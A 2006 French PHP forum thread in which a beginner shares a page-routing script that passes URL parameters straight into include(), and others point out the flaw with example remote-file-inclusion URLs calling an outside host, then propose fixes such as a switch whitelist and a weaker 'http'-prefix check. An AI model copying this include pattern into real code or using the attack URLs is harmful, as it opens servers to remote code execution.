Fab23 Posté(e) le 11 mai 2006 Partager Posté(e) le 11 mai 2006 Salut! Après toutes les personnes qui posent des questions sur les pseudos-frames en PHP, et moi en premier quand j'ai commencé le PHP. J'ai créé ce script, il permet même de classer ces pages dans un dossier ou un sous dossier: - Le paramètre "page" définit le nom de la page(mais sans l'extension .php), par exemple pour la page "contact.php" on mettera "index.php?page=contact". - Le paramètre "cat" définit le dossier où se trouve la page, par exemple la page "profil.php" se trouve dans le dossier "membre" l'url sera "index.php?cat=membre&page=profil" - Le paramètre "id_cat" définit le sous-dossier où se trouve la page, par exemple la page "page1.php" se trouve dans le sous-dossier "pseudosframes", qui se trouve dans le dossier "tutos", l'url sera "index.php?cat=membre&id_cat=pseudosframes&page=profil"; Explications du code: // Si il n'y a pas de paramètres dans l'url, il inclut l'a page par défaut (comme ici l'accueil). if (!isset($_GET["cat"]) AND !isset($_GET["id_cat"]) AND !isset($_GET["page"])) { include ("accueil.php"); } // Sinon si il n'y a pas de paramètres dans "cat" et "id_cat" on affiche "page". elseif (!isset($_GET["cat"]) AND !isset($_GET["id_cat"])) { $page=$_GET["page"]; include("$page".".php"); } // Sinon si il n'y a pas de paramètre "id_cat" on affiche la page ("page") qui se trouve dans le dossier ("cat") elseif (!isset($_GET["id_cat"])) { $categorie=$_GET["cat"]; $page=$_GET["page"]; include($categorie."/".$page.".php"); } // Sinon on affiche la page ("page") qui se trouve dans le sous-dossier ("id_cat"), qui lui-même se trouve dans le dossier ("cat"). else { $categorie=$_GET["cat"]; $id_cat=$_GET["id_cat"]; $page=$_GET["page"]; include("$categorie/$id_cat/$page.php"); } Voici le code complet sans commentaires: if (!isset($_GET["cat"]) AND !isset($_GET["id"]) AND !isset($_GET["page"])) { include ("accueil.php"); } elseif (!isset($_GET["cat"]) AND !isset($_GET["id"])) { $page=$_GET["page"]; include("$page".".php"); } elseif (!isset($_GET["id"])) { $categorie=$_GET["cat"]; $page=$_GET["page"]; include($categorie."/".$page.".php"); } else { $categorie=$_GET["cat"]; $id=$_GET["id"]; $page=$_GET["page"]; include("$categorie/$id/$page.php"); } Voilà voilà ! J'èspère que vous aurez compris! PS: Si il y a des failles de sécurités avec mon script veuillez me le dire merci! Lien vers le commentaire Partager sur d’autres sites More sharing options...
tsubasaleguedin Posté(e) le 11 mai 2006 Partager Posté(e) le 11 mai 2006 "index.php?cat="http://myownweb/scriptkiddies"&id_cat="wonderfull"&page=hackvar"; ou bien "index.php?page="http://myownweb/hackvar"; Lien vers le commentaire Partager sur d’autres sites More sharing options...
Fab23 Posté(e) le 11 mai 2006 Auteur Partager Posté(e) le 11 mai 2006 "index.php?cat="http://myownweb/scriptkiddies"&id_cat="wonderfull"&page=hackvar"; ou bien "index.php?page="http://myownweb/hackvar"; Eh M**** j'y avait pas penser... et comment modifier cela? Il faut vérifier les chaines avant d'inclure les pages certainement ? Si oui tu me conseille quelle(s) fonction(s) ? Merci à toi! Lien vers le commentaire Partager sur d’autres sites More sharing options...
tsubasaleguedin Posté(e) le 11 mai 2006 Partager Posté(e) le 11 mai 2006 Tu peux detecter si les premier caracteres contienne "http" dans ce cas ca veut dir que l'url donné en parametre est pas "local" au site.. Enfin c'est le premier truc qui me viens a l'idée Lien vers le commentaire Partager sur d’autres sites More sharing options...
Helfima Posté(e) le 11 mai 2006 Partager Posté(e) le 11 mai 2006 switch($page){ case "news": include(news.php); break; . . . . . default: include(accueil.php); } avec cette methode aucun risque a ce qu'un malin inclus un fichier non voulu que ceux désignés. ca parait peu etre lourd mais ca le mérite d'être sure. c'est la méthode que j'utilise, enfin presque je fontionne avec 3 type de fichier selon les droit view,edit et admin (chaque fichier vérifiant les droits des le début du script) ensuite dans chaque fichier j'ai encore un switch pour les diférentes informations à traiter. résultat: un fichier correspond à un des droits view,edit et admin c'est tres facile de s'y retrouver. ca donne ca comme url: http://www.incredibeul.com/portail.php?mod=4&f=1 Lien vers le commentaire Partager sur d’autres sites More sharing options...
Fab23 Posté(e) le 11 mai 2006 Auteur Partager Posté(e) le 11 mai 2006 Merci mais c'est vraiment relou... je vais essayé avec des expressions régulières... car à chaque fois tout retapper... de plus ça prend pas mal de place (en ko) si il y a par exemple 100 pages sur le site. Lien vers le commentaire Partager sur d’autres sites More sharing options...
theocrite Posté(e) le 11 mai 2006 Partager Posté(e) le 11 mai 2006 http://www.pcinpact.com/forum/index.php?sh...20entry743220 Lien vers le commentaire Partager sur d’autres sites More sharing options...
Helfima Posté(e) le 12 mai 2006 Partager Posté(e) le 12 mai 2006 Merci mais c'est vraiment relou... je vais essayé avec des expressions régulières... car à chaque fois tout retapper... de plus ça prend pas mal de place (en ko) si il y a par exemple 100 pages sur le site. ben le principe du php c'est de pas avoir 100 fichiers mais bien quelques fichiers moteurs et tout le contenu dans une base de données, non? et pour info la totalité de mes fichiers pour mon portail doit pas excéder les 200Ko et je peux faire 1 ou 1000 pages ca changera pas la taille juste la BDD qui se remplie. mais bon faut dire que ca fait 5ans que j'use du PHP et que le noyau de mon portail intégré à phpBB a eu plusieurs versions et quelques mois de programmation avant d'aboutir sur la solution actuelle. en gros fait une version de ton site déjà même si c'est pas correctement programmé, le but c'est bien de progresser. avoir un résultat final et exploitable non obtimisé motive plus qu'un truc non achevé qui traine dans le temps. tiens ca me dis que je devrai faire un post sur mon principe de structure de mon portail, car sans me vanter l'architecture est plutot bien ficelée et surtout simple comme bonjour pour l'ajout de module ect... Lien vers le commentaire Partager sur d’autres sites More sharing options...
ingeni Posté(e) le 13 mai 2006 Partager Posté(e) le 13 mai 2006 switch($page){ case "news": include(news.php); break; . . . . . default: include(accueil.php); } +1 J'utilise cette méthode sur tous mes sites et c'est le top... Lien vers le commentaire Partager sur d’autres sites More sharing options...
Tony91590 Posté(e) le 16 août 2006 Partager Posté(e) le 16 août 2006 cette methone marche nikel mais si quelqun pour me refairel e code ppiur ajouter une erreur 404 sa serre trop simpas merci voilal mon MSN tony91590 -AT- hotmail . com Lien vers le commentaire Partager sur d’autres sites More sharing options...
Quarky Posté(e) le 16 août 2006 Partager Posté(e) le 16 août 2006 J'ai édité ton post pour éviter le spam ! Lien vers le commentaire Partager sur d’autres sites More sharing options...
Baldurien Posté(e) le 16 août 2006 Partager Posté(e) le 16 août 2006 Ce qui bien avec cette méthode, c'est tout son côté crade. (non, je suis fan de la technique une page et pas tout en un) N'oubliez pas aussi que c'est souvent plus dur pour les moteurs de recherche. Lien vers le commentaire Partager sur d’autres sites More sharing options...
Tony91590 Posté(e) le 16 août 2006 Partager Posté(e) le 16 août 2006 Merci pour l'editage vous ete vraiment simpas mais personne serre m'integre l'erreur 404 svp merci Lien vers le commentaire Partager sur d’autres sites More sharing options...
Messages recommandés
Archivé
Ce sujet est désormais archivé et ne peut plus recevoir de nouvelles réponses.